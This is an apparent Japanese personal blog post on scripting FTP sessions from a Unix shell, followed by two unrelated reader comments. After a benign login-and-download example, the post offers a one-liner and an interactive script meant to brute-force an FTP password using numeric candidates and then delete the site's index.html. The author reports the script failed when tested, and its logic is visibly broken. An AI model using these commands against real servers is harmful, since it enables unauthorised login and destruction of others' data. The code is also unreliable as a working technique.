シェルでFTPへアクセス

/ Linux/Unix / Comment[2]
#!/bin/sh
echo -e "open ホスト名\nuser ユーザID パスワード\n任意のコマンド\n" | ftp -n


という具合です。
\nは改行を意味します。

例:
#!/bin/sh
echo -e "open phantom777.web.fc2.com\nuser phantom777 pasuwa-do\nls\nget index.html\n" | ftp -n


phantom777.web.fc2.comへ接続、ファイルをリストアップ、index.htmlをダウンロード
というシェルスクリプト。


応用
$ echo -e "open phantom777.web.fc2.com\nuser phantom777 `seq 9999`\nls\nrm index.html\n" | ftp -n

0~9999までパスワードをブルートフォースアタック
ログインに成功したら、ファイルをリストアップ
index.htmlを削除する
というコマンドです。
`seq 9999`のところはseqコマンドを使いましたが、`/home/falcon/code/atk3`(例)という感じにパスフレーズを発生させるプログラムを指定してもいいですね。

シェル書いてみた
#!/bin/sh
echo -n "Target: "
read t
echo -n "User: "
read u
echo -n "Password length: "
read p
echo -n "Command: "
read c
echo -e "open $t\nuser $u `seq $p`\n$c\n" | ftp -n


\は半角のバックスペースに変換してください。
WindowsとFCブログは半角バックスペースが円記号になってしまって不便。

で、下のシェルスクリプトをテストしてみたらうまくいきませんでした\(^o^)/知識不足orz
関連記事

コメント

どんまいです!

つうぃったーのふぉろーありがとうございます

| URL | 長倉 怜#mZkyZp0s

No title

ぐへへへへへ
公立入試死んできました!
クソ難しかったっす!v-10

| URL | 数学の問題集#-

:
:
:
:
:
管理人のみ表示を許可